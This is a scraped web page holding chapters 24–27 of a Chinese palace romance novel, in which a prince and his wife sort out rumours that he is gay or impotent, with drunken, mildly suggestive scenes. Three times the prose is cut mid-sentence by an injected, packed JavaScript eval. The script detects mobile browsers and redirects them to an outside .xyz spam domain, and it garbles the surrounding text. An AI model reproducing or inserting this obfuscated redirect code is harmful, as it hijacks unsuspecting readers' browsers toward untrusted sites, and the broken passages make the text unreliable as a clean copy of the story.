彦修欲哭无泪,他说完,又求救般地看了夏穗一眼。 夏穗朝他挥挥手,满脸写着“放心,我自有打算的”的样子,朝他使了个眼神。 只要身体足够劳累,不想睡也得睡。一场打斗下来,她不信谢枕年还睡不着。 他的身体已经有所好转,练练剑不会有什么大问题。二来,她相信彦修下手自有分寸。再者,太医也说了,他卧病在床太久,多活动活动筋骨,也能促进身体恢复。 两人在院中打斗了起来。 彦修果然很有分寸。 既不完全让着他,又不真的舞刀弄枪要赢他。 几个回合下来,两人打得不分上下,彦修觉得差不多了,正打算故意失手输掉这场比赛,但没想到谢枕年居然伸脚绊他! 他有些不可置信地趴在地上,反头看着谢枕年,他真觉得他家王爷孔雀开屏了,为了在夏穗面前赢下这场比赛,居然不择手段! 他们自幼一同练剑长大,剑法水平差不多,视彼此为对手练剑时,两人都有赢有输。 谢枕年状态不好的时候,也在他面前连输过几回。 但无论怎么样,谢枕年就算输得再惨,也从不会使这种小人招数! 彦修被绊倒后,谢枕年收了剑,看也不看地上的好友,眼睛亮晶晶的,直接对着夏穗问道:“怎么样?” 他语气欢愉畅快,邀功似的等着她的回应。 24. 第 24 章 夏穗也十分给力,她小跑上前,拍拍手说道:“好棒!王爷真是谦虚,你说的也太保守了,岂止是比彦修的功夫好十倍,应该好一百倍!” 自她开口说第一个字起,谢枕年的嘴角就没停下来过。 彦修的目光在两人脸上来回打了个转,低叹口气。 他才是他们调情的工具人。 他不应该在这里,他应该在地里。 夏穗朝彦修抛过来一个感谢的眼神,拉着谢枕年往回走。 她小心地瞥他一眼,能够看到他额上细密的汗珠,呼吸频率也比平时要快。她试探着问道:“王爷,你累不累呀?要不我们回去休息?” “想先沐浴。” 还不等她回话,谢枕年又补充了一句,“你和我一起。” 夏穗的心里失望了几分,她头都要困掉了,还得伺候他沐浴。她几不可闻地叹口气,不过反正洗个澡也要不了多长时间,洗完总能睡了吧。 两人来到浴池旁,谢枕年当着她的面便开始脱衣服。 出于女人的本能,她其实很想看他脱完,但不用想也知道,待会儿谢枕年肯定会找借口遣她离开。 于是她十分自觉地找了个借口先行一步:“王爷,我去把干净衣服拿过来。” 谢枕年脱衣服的手顿了顿,垂下目光,但很快朝她点了点头。 果然,等夏穗拿着干净衣服过来的时候,他已经脱完衣服下水了,腰线以下几乎全都淹没在水中,正靠在池子旁边闭目养神。 听到她走过来的动静,谢枕年慵懒地张开眼睨了她一眼,丹凤眼尾微微上扬,水汽迷蒙,沾湿了他的鸦睫,这样看过去,他的眼中好似带着几分喝醉的迷离。 她上次看他沐浴,还是在他去西南带兵以前,转眼已经一年多了。 这副身体比从前的少年更强壮健硕了些。 他的身体,夏穗其实看过很多遍,但每看一遍,就要忍不住在心底赞叹一遍。 月光斜照进来,他把半截玉色手臂搭在池边,浮在水面上的花瓣也跟着飘动,在他的身体周围打着转。 夏穗把衣服放在他旁边,接着便乖乖侍立在一旁。 谢枕年没叫她下水伺候,她也不想自找麻烦。 见他久久没有吩咐,夏穗心里考虑着,要不自己回去睡觉算了。脚步已经开始往门外挪,但没想到她刚一挪动,池子里便传来了水声。 夏穗抬头,谢枕年已经从池子里走了出来。 让她一览无遗。 !!! 虽然她曾经也有意无意地接触过,但如此直观地面对,她还是第一次。 夏穗的喉咙微微发紧。 谢枕年不急不徐地拿起浴袍围住下半身,绷带已经拆了,锁骨下露出新痂,水珠顺着胸肌滚落下去。 谢枕年随意地把身前的水珠擦了擦,接着把毛巾扔给她:“替我擦背,上药吧。” 她握着毛巾,看水珠顺着他的脊背滑进下半身围着的浴衣里。 该死的宽肩窄腰的男人!她现在应该躺在床上进入美梦,而不是在这里被他勾引。 夏穗吞了口唾沫,飞快地替他擦干上药。 虽然伤口已经有要结痂的趋势,但碍于之前给他上药时血淋淋的记忆,她还是有些手抖。 两人离得很近,她注意到谢枕年低下了头,微热的呼吸喷下来,连周围的温度都变得燥热了。 只是,夏穗不知道他是在看伤口还是在看她。 “怎么,还是觉得可怕?” 谢枕年温润如玉的声音从头顶传来。 夏穗轻轻用食指指腹摸了摸他的伤口,抬头对上他那双含着水雾眼睛,问道:“还疼吗?” 谢枕年摇摇头:“早就不疼了。” 这种疼痛程度,他早就习惯了。 夏穗做了一个深呼吸,平复好情绪,拿着白麻布从他的左肩斜缠到锁骨下方。包扎好以后,两人才躺回床上休息。 刚躺下没多久,她便听到了身侧的人传来安稳规律的呼吸声。夏穗在床上翻了个身,这下可好,谢枕年睡着了,她现在睡不着了。 一闭上眼睛,眼前便出现谢枕年美男出浴的身体。 完完整整的。 没办法,对她的眼睛实在是太诱惑了。他简直是给小画本做模特的先天圣体。 她又翻了个身,企图把脑子里的那副实体春宫图驱逐出去,否则她恐怕今晚也没法入睡了。 她在心中默默骂了自己几句,人生不是只有美男,还有金山银山值得她惦记。于是,她闭着眼睛开始数金元宝。 再次睁眼时,身侧已经空无一人——想起来了,谢枕年昨日好像是说过,从今天开始要回去上朝。 夏穗打了个哈欠,慢吞吞地坐起来,自从谢枕年中箭昏迷,她就一直变侍奉左右,不曾出府半步。她的那些好姐妹们约过他她次,但她都回绝了。 既然谢枕年已经好了,趁着今日天气好,不如就出去和她们聚聚吧。 谢枕年下朝回府,刚走到门口,便碰到了急匆匆跑过来的彦修,他一边往里走一边吩咐倒:“夏穗呢?叫她过来研磨。” 彦修呼着气:“娘娘方才出去了。” 谢枕年停下脚步:“去哪儿了?” “不清楚,”彦修摆摆手,喘着气说道,“先不说这个,王爷,你今日上朝,可有听到什么风言风语?” 谢枕年满不在乎地回答:“朝中党派之争愈演愈烈,所谓的风言风语每日都会听到。” 彦修着急地摇摇头:“王爷,不是那些!” 他四下看了看,推着谢枕年往院子角落走了几步,小声说道:“是关于您的事。” 谢枕年还是不以为意:“清者自清,不必管他们。” “这不一样!这不是前朝的事。但您如果放任不管的话,这种事情,只需要两三天便可传遍整个京城。” 谢枕年扯了扯嘴角,他倒要听听,他身上能有什么谣言,会让平民百姓这么感兴趣。 “说来听听。” “就是……” 彦修拼命地在脑中想着措辞,把他听到的信息都在脑子里过滤了几遍,尽量捡能说的说。 “就是……那个……” 谢枕年看他半天说不出个所以然,“啧”了一声:“真要你说了,怎么,说不出口吗?” 彦修咬咬牙,豁出去了喊道:“京城百姓都说你是断袖!” ?! 此言一出,不光是他们两人,距离他们不远的几个护院,还有廊上的婢女都愣了一下,继而慌张地四下散开。 谢枕年:……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645740|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他沉默了一会儿,气急反笑。 “本王都已经娶妻了,这么离谱的谣言到底是从哪儿……” 说到这里,他忽然顿住了,嘴上转了个弯,又问道:“夏穗她人呢?现在在哪儿?” “属下也不太清楚具体位置,但听下人说应当是去东街了。那边有很多唱戏说书的。” 彦修说完,又补充道:“我最开始听到这个消息,也是从东街那边。” 谢枕年几乎是立刻决定:“去东街。” 他们乔装打扮了一番,很快来到东街,而且专门去那些人流比较密集、消息乱飞的客栈和酒楼,连换了几家,也偷听了不少民间八卦,倒是也没听到很多人议论他是断袖。 谢枕年抿了一口面前的茶水,在桌上放了一个银元,打算起身。身后的人群中忽然传来一阵骚动。 几道尖锐的女声响起。 “哎,听说了吗?前朝有高官是断袖。” “你消息可真慢。我们早听说了,连人都定下来了。说是谢家的那位小王爷。” “就是,这又不是什么新鲜的事儿了,大家都知道了。” 谢枕年复又坐下,右手紧紧捏着杯子。 果然,他的谣言传得满城风雨,他本人居然最后一个才知道的。亏他方才还在心中安慰自己,觉得是彦修听错了。 “有反转啊!我听说,那个王爷不近女色并非全是断袖的原因。” “那还能是什么原因?” “他没有那个……” 女子的声音顿然提高:“你是说……他是阉人?” 紧接着便传来了好几声恍然大悟的惊呼声。 谢枕年气得快要把手中的杯子捏碎。得亏是陶瓷做的,若是换了琉璃杯,此刻恐怕已经见血了。 他咬紧后槽牙,“蹭”地一下站起来,眼看就要冲过去找她们理论。 彦修死命地拉着他,小声说道:“王爷万万不可啊!您身份尊贵,怎可亲自下场与她们议论?再说了,谢大人一向不喜欢您去风月场所,这里怎么说也是酒楼,您若是在这里跟她们吵架,回去谢大人又要罚您了!” 谢枕年气急败坏:“这到底是哪里来的谣言?!” 他自认也经历过不少大风大浪,但这种离谱到天际的谣言,他还是第一次听见。这要怎么办?!要给她们看吗?! 他气愤不已,而那几个女子还在哄堂大笑。 那些笑声中忽然掺杂了一道略微严肃的声音,音调不高,但很坚定: “少胡说八道了,王爷才不是你们说的那样。” 是夏穗。 彦修露出喜出望外的眼神:“是娘娘!” 他好不容易才拉着谢枕年坐下来,赶紧安慰道:“放心吧,有娘娘在,她肯定会为王爷澄清的。” 那几个女子反驳夏穗:“你怎么知道他不是?难道你见过他那儿?” “我当然……” 她当然见过,他不仅有,而且目测还非常厉害。 不过话到嘴边又咽了下去,她笑着说道:“我当然没见过啦。” 谢枕年冷笑一声:撒谎,她明明就见过。 她不但见过,甚至在梦中又见了一次。 不错,昨晚他在她的梦里,见到了刚出浴时赤身□□的自己。 25. 第 25 章 他还是第一次以别人的视角看见自己的身体。 自从他发现他可以和夏穗共梦以来,他在她的梦中见过很多个男人。夏穗在梦中看他们跳舞,跟他们唠嗑,顺便再摸摸他们的腹肌,但这些行为已经足够让他恼火。 更让他想不通的是,他不懂为什么夏穗的梦里从来没有出现过他。难道这么多年的夫妻之情,她对他就一点感情都没有吗? 自己的妻子夜夜梦到别的男人,对他来说已经足够羞耻。 夏穗昨晚那个梦里,罕见地出现了他。她看着他的身体,眼神中流露出来的与其说是对男人的喜欢,不如说是对某种艺术品的欣赏。 想到这里,谢枕年的心中不免又是一阵费解,还有些许悲凉。 那几个女子嚣张的气焰和尖锐的声音把他拉回到现实中。 几人你一嘴我一嘴地嘲讽夏穗:“你没见过,那你插什么嘴?” 夏穗也不恼,依旧和和气气地回她们:“我虽然没见过,但我就是知道。王爷才不是什么阉人呢!” 她说的异常坚定,这让谢枕年心里好过了一些,看来这丫头在外面还是很维护他的。 “……他就是断袖!” 谢枕年:…… 果然!夸她夸得太早了! 那几个女子见她说得这么笃定,立即围上来,眼中放射着八卦之光:“看你的服饰,像是王府里的下人?下人也有机会靠近王爷吗?” 夏穗点点头:“我虽然只是个小小的婢女,但平日都在王爷的房中干活。” 那几个女子簇拥着她,连珠炮似的一句接着一句问道:“你怎么这么肯定?你看到过端王和其他男人约会吗?他的情人是谁?” 夏穗抿了抿嘴唇:“其他的我倒是不知,但是端王对王妃没有男女之意,对其他女子也敬而远之。” 那几个女子不满道:“哎呀,不要答非所问嘛,我们问的是,端王的地下情人是谁呀?” 夏穗支支吾吾的,说也不是,不说也不是。她本来只是好心想替谢枕年说两句好话,证明他不像她们传的那样。但没想到反而让自己脱不了身了。 “你要是不说,我们可自己猜了。到时候谣言传开了,我们就说是你说的。” 夏穗轻叹口气,小声说道:“我也不是很确定……好像……是他的贴身侍卫。” ?! 彦修原本还大喇喇地坐在那儿安慰谢枕年,听到这话顿时瞪大了眼睛,有些不可思议地望向谢枕年:“娘娘是在说我吗?” 谢枕年的脸色也没好看到哪儿去:“废话,我还有几个贴身侍卫。” 彦修“嗖”地站起来,就要过去找她们理论,谢枕年一把把他拉住:“冷静点,你忘记方才你劝我的话了?现在不是暴露身份的时候。” “王爷,你别拉着我。堂堂七尺男儿,我不想被唾沫淹死。” 谢枕年拉着他往门口走去,有一种活人微死的淡感:“放心,要被唾沫淹死也肯定是我先。” 两人回到府上,谢枕年冷着脸坐在院子里,细细思索着夏穗平日里的行为。 原来如此。 原来她以为他是断袖,所以她对他毫无渴望,他也从来没在她的梦里出现过。怪不得呢,他之前一直很困惑,自己到底哪里招她不喜欢了,这下便说得通了。 谢枕年沉默着不说话,彦修在他面前绕着院子走了一圈又一圈,最终停下来问道:“王爷,你打算怎么办?” “等她回来,我要亲自问她。” 两人在院子里一直等到傍晚,天都快黑了,门口也没见夏穗的人影。 谢朝恩身边的人匆匆过来,对谢枕年行了一礼,说道:“王爷,大人有请。” 谢枕年冷淡地看他一眼:“什么事?” “小的不知,只是大人方才从外面回来,看起来脸色不大好,王爷还是赶快过去吧。” 谢枕年与彦修对视一眼。 彦修小声问道:“该不会……谢大人也听到这个谣言了?” 谢枕年不答,他看了看天色,吩咐道:“叫人把晚膳做好送到这里来,你就在这里等她回来。” 说着他便转过身,走了几步又停下,补充道:“不必等我,她饿了的话让她先吃。” 谢枕年刚走没多久,夏穗便一蹦一跳地从外面回来了,看到站在院子里彦修,她随意地朝他打了声招呼。 彦修立马叫住她:“娘娘留步!” 夏穗回头问道:“怎么了?” 还不等他说话,她便看到他身后石桌上的一桌子美食,她立刻跑了过去,使劲闻了一下空中的香味,两眼放光,又问道:“今日有什么活动吗?怎么在院子里用餐?” 彦修心里一直在想着她误会他们是断袖的事,考虑着该怎么开口解释,有些心不在焉地回答道:“是王爷的意思。” 夏穗极其敏锐地捕捉到了他不太高兴情绪。 怎么回事?他怎么好像一副很别扭的样子? 她看着满桌子的美食,又看了看他,脑中忽然闪过一道白光。 难道谢枕年和彦修打算趁她不在,在院子里共享月光晚餐? 看来她回来的不是时候。 夏穗直起身子,把快流出来的口水擦了擦:“喔,那你是在等王爷吧?那我先回屋了。” 见她要走,彦修马上把她拉住:“我们在等你!” 话说出口,他又觉得“我们”这个词在这种情况下显得非常奇怪,于是他赶紧摇摇头解释道:“是王爷在等你。这也是他准备的,他还吩咐了,娘娘如果饿了就先吃。” 夏穗狐疑地坐下来,她怀疑谢枕年已经听说那些谣言了,毕竟最近这个谣言满天飞,更何况她今天抖出来的事情无异于又添了一把火。 像这种达官贵人八卦消息,百姓最是喜闻乐见,传得也最快。 不过天大地大,吃饭最大。她没什么好忧虑的,他们三个人是该开诚布公地谈谈了。 夏穗坐下来吃了一会儿,见彦修一直默立在旁边,便把他也招呼过来坐下,说道:“过来一起吃啊。这么多菜,我和王爷两个人也吃不完,难得你也在。” 彦修几番推辞,但拗不过她的热情,只得勉强坐下来。 但他还是恪守王府里的规矩,任凭夏穗怎么劝说也不动筷子,只是偶尔喝点酒。 夏穗见状,也给自己倒了一杯。 几杯酒下肚,她率先打开了话匣子:“我看,不只是王爷在等我吧?你也在等我,而且有话要跟我说,对吗?” 彦修咬牙,一股脑地把压在心里的话全都说了出来:“娘娘,千万不要听信外面的传言。而且你好像误会了,觉得我和王爷之间有什么,但这真的是个误会。我自幼入了王府做侍卫,只不过是跟在王爷身边的时间长了点,除此以外跟普通侍卫没有任何区别!王爷不是断袖,我也不是。” 夏穗觉得头很晕,她一向觉得自己酒量比寻常女子要好一点,但她平常喝的都是兑了水的劣酒,喝几杯也无所谓。但王府里的都是陈年烈酒,才一杯下肚,她已经醉得不分东西。 彦修在她面前叽里咕噜说了很多,但砸进她耳朵里的却只有断断续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651574|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续的几个字:我和王爷之间有……跟在王爷身边的时间很长……王爷……断袖…… 夏穗用一只手支撑着下巴,努力消化着这些信息,最终一拍桌子,伸出手挡在彦修的面前,做出一个制止的姿势,迷迷糊糊地说道:“不、不用说了,我早就知道。你很帅,你们很般配……” 她说着说着,眼泪已经流了出来:“可、可是,呜呜呜,可是我觉得对我很不公平。” 彦修轻叹口气,看来他刚才说了那么多,她是一个字也没听进去。 “娘娘,你喝醉了。” 彦修站起身来,想扶她一把,但看到谢枕年正好出现在她身后,于是他便退到一旁。 夏穗还在絮絮叨叨地说着,见他退开,似乎更加不满了,她指着他喊道:“你逃避也没有用!这是我们迟早要面对的事。你们要是觉得对不起我,来日我与谢枕年和离,希望他能替我再寻个好人家……” 谢枕年从她身后一把捞起她,微微眯起眼睛看着她,冷声道:“想让我替你寻个好人家?” 夏穗的脸颊红扑扑的,扑闪着一双挂着泪珠的大眼睛,愣愣地盯着他看了一会儿,点了点头。 谢枕年完完全全地打破了她的幻想,毫不留情地道:“你休想。” 手上的力道加大了些,把夏穗整个人都带入自己的怀中,他恶狠狠地道:“我告诉你夏穗,你这辈子都别想离开王府。” 夏穗虽然醉了,但也能听得出来他拒绝了自己的请求,于是又呜呜地哭起来,用手捶打着他的胸膛:“不公平!我都成全你们了!凭什么不许我找个好人家?” 谢枕年简单粗暴地回她:“我用不着你成全,我也不许你离开。” 他拉着她走了几步:“跟我回房。” 夏穗挣扎着喊道:“我不走!” 谢枕年回头看她,只见她红着脸,满眼委屈,嘟囔着道:“……我还没吃饱。” 他有些无奈,于是又拉着她走到桌边坐下,往她碗里夹着菜。 夏穗抹了把眼泪,像只小仓鼠似的把嘴巴塞得鼓鼓囊囊地进食。 看她吃得差不多了,谢枕年便看似随意地问:“你在外面,都听到些什么了?” “就那些啊,说你不近女色,像个和尚。”夏穗一边喝汤一边说道,“你这么看着我干嘛?又不是我先说的,大家都那么说。亏我今日还维护你了呢。” 谢枕年用手按了按太阳穴:“你还听说什么了?” 夏穗歪了歪头,像是在认真思考。过了一会儿,她回答道:“挺多的。” “比如呢?” “猜你是断袖,还有猜你是阉人的。” 夏穗想了想,又接着说道:“不过……也有人觉得,你这两者都不是。” 谢枕年颇为欣慰:“那他们很理智。” 夏穗的话紧随其后:“他们都十分单纯地认为是你不行。” 谢枕年:…… 他忍无可忍,直接把人一把抱起来,扛在肩上,大跨步就往他们的房间走去。 夏穗起初还略微挣扎了一下,胡乱地拍着他的背,但后面就安静了很多,任由他扛着自己一路回了房间。 谢枕年不算客气地把她放在床上,他刚才也喝了酒,又把人扛了一路,此时身上有些汗涔涔的。 他脱了外袍,欺身而下,捏住夏穗的下巴,看着她含着水光、已经迷离混沌的眼睛。 阉人? 断袖? 他不行? 谢枕年俯下身,在她耳边低声说道:“今晚,我亲自破了这个谣言。” 26. 第 26 章 谢枕年说完,微微支起手臂与她拉开一点距离,又仔仔细细地看着她。 夏穗也微微蹙眉,予以回视,毫无征兆地伸出手,用双手捧住了他的脸颊,左右捏了捏他脸上的肉,笑嘻嘻地说道:“要怎么破啊?” 谢枕年抬手抓住她的手腕,指腹在她纤细的腕骨间轻轻摩擦:“你说呢?” 夏穗垂眸,看起来像是在认真思考,不过谢枕年知道,她肯定他这个状态别说思考了,净是胡思乱想。 她抬起眼眸,眼睛里还是看不见半点清明,说话有些黏糊:“你要对我干坏事,我答应你。不过,你也得答应我一件事。” 谢枕年微微挑了挑眉,好整以暇地看着她,问道:“什么事?” “……帮我找一个好人家。” “……” 谢枕年直接拉下她的手,反扣在枕头上,咬着后槽牙说道:“夏穗!你过不去了是吧?!” 夏穗摇摇头,微微张口:“我过得下去呀,王府是个好地方……” 她说话的声音越来越小,让谢枕年不得不俯身低头,凑在她的嘴边才能听得清。 夏穗还在小声呢喃着:“我其实……是很喜欢这里的……” 谢枕年的心中微微一动,他愣了一会儿,待他回过神来时,发现那人已经沉沉睡去。 他坐起身来,小心翼翼地替她褪去珠钗,脱了衣服,盖好被子,自己也钻入被子中。 夏穗睡着的时候,与平日里欢脱机灵的样子不同,她就安安静静的躺在那,像一朵至纯至净的小槐花。 谢枕年看着她,从眉梢看到两鬓,从眼尾看到嘴唇,无论看哪里,都觉得她可爱至极。 他朝着她靠近了些,把她整个人都揽在怀中,抱着她小声说道:“既然喜欢,那你就一直留在这里吧。” 他极其小心地用嘴唇碰了一下她的脸颊,很快又分开:“我也很喜欢。” 晨光从雕花木窗的格隙间透进来,淡金色的光线斜斜爬上床,落在素色纱帐上。 夏穗躺在床上翻了个身,宿醉的感觉太不妙了,整个头痛得像是要掰成两半。虽然意识已经醒了,但身体根本起不来。 她把手随意一伸,便碰到了光滑微弹的肌肉。她警觉地睁开眼睛,发现谢枕年半仰躺着,带着似有若无的笑意看向她。 “王爷,早上好。” 她刚一开口,便惊觉自己的声音非常沙哑。 她把手缩回来,又看到谢枕年没穿衣服的上半身,忽然想到了什么,心中警铃大作。 她昨天喝得烂醉,基本上什么也不记得了。该不会是她酒后胡来,把他给睡了? 夏穗皮笑肉不笑地试探道:“我昨天喝醉了。” 谢枕年手中还拿着书,他翻了一页,淡淡地回答她:“嗯。” “我们……应该没发生什么吧?” 谢枕年翻书的手顿住,他合上了书本,看她这副心虚的模样,实在忍不住逗逗她。 他略微痛心地扫了她一眼:“真是荒唐,你对你做过的十恶不赦的事居然都不记得了。” 完了完了完了! 夏穗恨不得在床上直接给他跪下,慌忙替自己解释道: “王爷,你听我说。酒后最容易乱性,昨晚不是我的本性!而且再说了,你也不能全怪我,我一个手无缚鸡之力的女子,王爷你身强体壮的,你要是实在不愿意,你推开我不就行了。” “你我是夫妻,我为什么要推开你?”他顿了顿,又接着说道:“还有,你想找个好人家的事,以后不许再提,也不许再想。” 夏穗一愣:“你怎么知道?” 但她随即反应过来,估计是她昨天喝多了,酒后吐真言了。但此时不为自己抗争,日后绝没有回旋的余地。 “不公平!你怎么可以这样?!” 谢枕年反问:“我哪样?” “凭什么只许州官放火,不许百姓点灯!你都可以和彦修那样,我只不过是想找个白首不分离的如意郎君罢了,这也很为难你吗?” “我……” 小嘴像抹了毒似的一顿输出,谢枕年被她气得哑口无言。 是了,昨天她醉成那个鬼样子,他都没来得及跟她解释清楚。 他冷静下来,正要说话,有人从外面推门而入。 两人同时往门外看去,也许是因为心虚的缘故,夏穗对来者何人十分敏感。 但,怕什么来什么。 夏穗只一眼便认出了彦修。 她立即往下一钻,滑进了被子里,拉起被子挡住头,整个人都躲在谢枕年的身侧。 谢枕年无语至极,虽然他和彦修之间清清白白,但她这样搞得像被彦修抓奸在床一样。 “出来。” 夏穗小声道:“我不!” 她在小话本上看到过,但凡正宫看到自己的夫君和别的女人纵情欢乐,要么是审视逼问,撒泼打滚,要么是痛心无助,隐忍不发。她猜测彦修应该是属于后者,但无论他是哪一种,她都不想面对。 整个被窝里都是谢枕年身上的雪松香气。她不得不承认,这种香味确实很好闻。她往他身边靠了靠,像只小狗一样在他身上嗅了嗅。 鼻子不小心碰到他的皮肤,谢枕年缩瑟了一下。他把手伸进被子里,按住夏穗的后颈。 她本来也没想着乱动,此时加上给谢枕年给的外部压力,于是便就着这个姿势安安分分地躺着。 她躲在被子里,竖起耳朵听着。 彦修走进了,说道:“王爷,人找到了。” 听语气像是没发现她。 夏穗紧张地呼了一口气,温热的鼻息喷在谢枕年的腰侧,惹得他有些发痒。 “……” 谢枕年握紧双拳,微微蹙眉。 彦修见他像是在忍耐什么,担心他的伤口还没恢复好,关切问道:“怎么了?” 谢枕年轻轻吐出一口气,像是借此抒发了他难以忍耐的情绪,他语气平常地说道:“没事。她们在哪儿?” “过两日便可到达京城。” 谢枕年点点头,挥手示意他退下。 等脚步声渐远,夏穗又听到关上门的声音,才从被子里钻出来。 谢枕年看着她做贼一样从被子里钻出来,轻叹了口气,单手掀开被子,下了床。 他一边穿衣服一边对她说道:“我不知道你在外面听到了些什么乱七八糟的东西,但我和彦修不是你想的那样。” 夏穗也坐起来,有些疑惑,一双大眼睛里透着些无辜,沉默了半晌,问道:“不是彦修吗?那是谁?” 谢枕年:“……” 他转过身,居高临下地看着夏穗,声音里终于含了些不可克制的怒火:“夏穗!” 得了,恼羞成怒了。 夏穗垂下眼眸,乖乖闭嘴。 但谢枕年好像不打算就此罢休似的,朝着她走过来。 看着他下压的眉头和冷峻的眼神,夏穗有些害怕。果然,他走到床边停下,单手撑在床上,整个上半身朝着她靠近,在夏穗眼中,就像一头巨兽朝着她凑过来。 她连忙扯着被子,往后缩了缩。但谢枕年却略过了她,掀开两人枕的枕头,从枕头下摸出来一块圆形的双鱼玉佩。 那是他昏迷不醒时,夏穗替他求的。 夏穗从没有告诉过他,但想必他从小桃那儿知道了。因为他拿玉佩时,有些意味深长地看了她一眼。 谢枕年风风火火地披上官服,把玉佩利落地系在腰间。 除此之外,腰上什么也没系。 夏穗有些意外,像他们这种世家的人,腰上不是什么名贵的玉佩,就是什么罕见的香囊锦囊一堆,但谢枕年显然跟那种世俗子弟不一样。 他的个人风格极其强烈,清新脱俗得不食人间烟火。 仔细想想,她确实没见过他佩戴过其他的配饰。 但他好像很喜欢那块玉佩。 系的时候虽然迅速,但小心翼翼,最后还会把穗子拨弄好。 上朝快迟了,谢枕年想着回来再好好跟她说。既然她如此相信外面的谣言,那必然是发生了什么事让她这么笃定,反正三言两语也说不清楚,还是等他再回来好好盘问她。 谢枕年出门前给她撂下一句话:“今日在家等我回来,不许出门。” 他走后,夏穗又在床上躺了一会儿才起床。起来时除了头很痛之外,身上没感觉到有什么不对劲儿的地方。 这是事后的效果吗? 如果真的是,那谢枕年也太差劲儿了。 她更倾向于他们之间没发生什么。因为她见识过谢枕年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664129|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被那样的□□攻城略地,不可能一身轻松下地自如。 她先按惯例去给老夫人请了安,接下来应该到她出去听书看戏的时候了。 她朝大门口走去,远远地便看到了彦修站在那儿。她还没走近,彦修便伸手拦住了她。 “娘娘,王爷吩咐了,让你先等他回来。” 她刚转身回去,但走了几步还是忍不住问道:“……彦修,我昨晚说什么了?” 像“想找个好人家”之类的真心话,她不希望被谢枕年知道太多。 彦修面色难看,有些犹豫:“这个嘛……” 夏穗看他这副样子,更加急道:“快说!” “你说他是断袖。还说他是阉人。不仅如此,你还说他不行。” “……这个又不是我说的,我只是听到外面的谣言这么说。” “不过你好像也是这么认为的。” “……” 见她不说话,又趁着她正清醒,彦修再次试图解释道:“娘娘,我不知道发生了什么事让你这么确信这个谣言。但你真的误会了。” 看着他诚恳的眼神,夏穗动摇了一瞬,但很快还是坚信自己内心的想法。 虽然谢枕年和他都在极力地解释着,但是在很多细节面前,这种解释都显得苍白无力。 越是解释就越是掩饰,越是掩饰就越有可能是事实。 在感情上尤其。 就比如男人在外面有了别的女人,被发现后总喜欢解释说自己是逢场作戏。 事实是没有几个人真的逢场作戏,他们是真的在掩饰。 夏穗想回屋捋一捋思绪,目光忽然定在正进王府的几个人身上。 她朝着那边抬了抬下巴,问道:“那些是什么人?” 彦修朝她所示意的方向看过去,回答道:“过几日是白大人的生辰,谢大人请了一些戏班的人过来为他贺寿。” 虽然隔着很远,但夏穗还是在其中见到了熟人。 是狸奴。 不过狸奴没发现她。 狸奴是整个戏班唱的最好的,夏穗很喜欢他,经常去听他的戏。 一来二去,两人便认识了。 但她每次去听戏时,基本上都带着面纱,而且换了丫鬟穿的粗布衣裳。此时她一袭华服,珠翠满头,即便狸奴见到了她,估计也认不出来。 她正心烦意乱得很,能陪她聊天解闷的人便来了。 夏穗盯着狸奴问彦修:“他们住哪儿啊?” 彦修见她两眼放光的样子,答非所问:“娘娘,按规定,王妃不得独自接近府上的外来男子。” 夏穗扫了他一眼:“你想多了,我只是随便问一句。” “听说是西厢房。” 西厢房啊……那离她挺远的。 她不接近,写信总可以吧。 吃了午饭,还不见谢枕年回来,估计他又被朝廷里的事给绊住脚了。 夏穗估摸着狸奴那边应该也安顿好了,于是便拿出信纸,飞快地写了几个字。 她在信上没有署名,也没有写称呼。这样就算被抓到了,也不至于一板子把她锤死。在王府里行事,还是万事小心为上。 她把小桃叫过来吩咐道:“小桃,你把这封信送去西厢房,给最帅的那个男人。” 小桃拿着信退下了,夏穗躺在床上,心满意足地等着狸奴的回复。 朝中事务太多,党派之争愈发激烈,但凡涉及到某一方的利益问题,大臣们就各执己见,争论不休。 谢枕年被裹挟在其中,审时度势,制衡各方。 他身心俱疲地回府,还带了一大堆公文回来处理。路过他和夏穗的房间时,他犹豫了一瞬,但还是决定先去书房处理完公务。 刚坐下来,便听到外面响起了敲门声。 一个婢女捧着一只纸青蛙走进来,放在他的桌上。 好眼熟的青蛙。 这多半是夏穗的杰作。 不过谢枕年明知故问道:“这是什么?” “是娘娘的信。” 谢枕年扶了扶额,他现在是越来越不懂夏穗了,明明就在府上,有什么话不能当面说,非要写信。 他拆开那只看着笨笨的青蛙,信上极其直白地写了几个大字: 好久不见!想死你啦! 27. 第 27 章 短短几个字,看得谢枕年耳根微微发红。 他从来没收到过这么简单粗暴地表达心意的信。 他在心中暗自思忖着,应该是她经过了深刻的反思,发觉她错怪他了。所以写信表明心意。 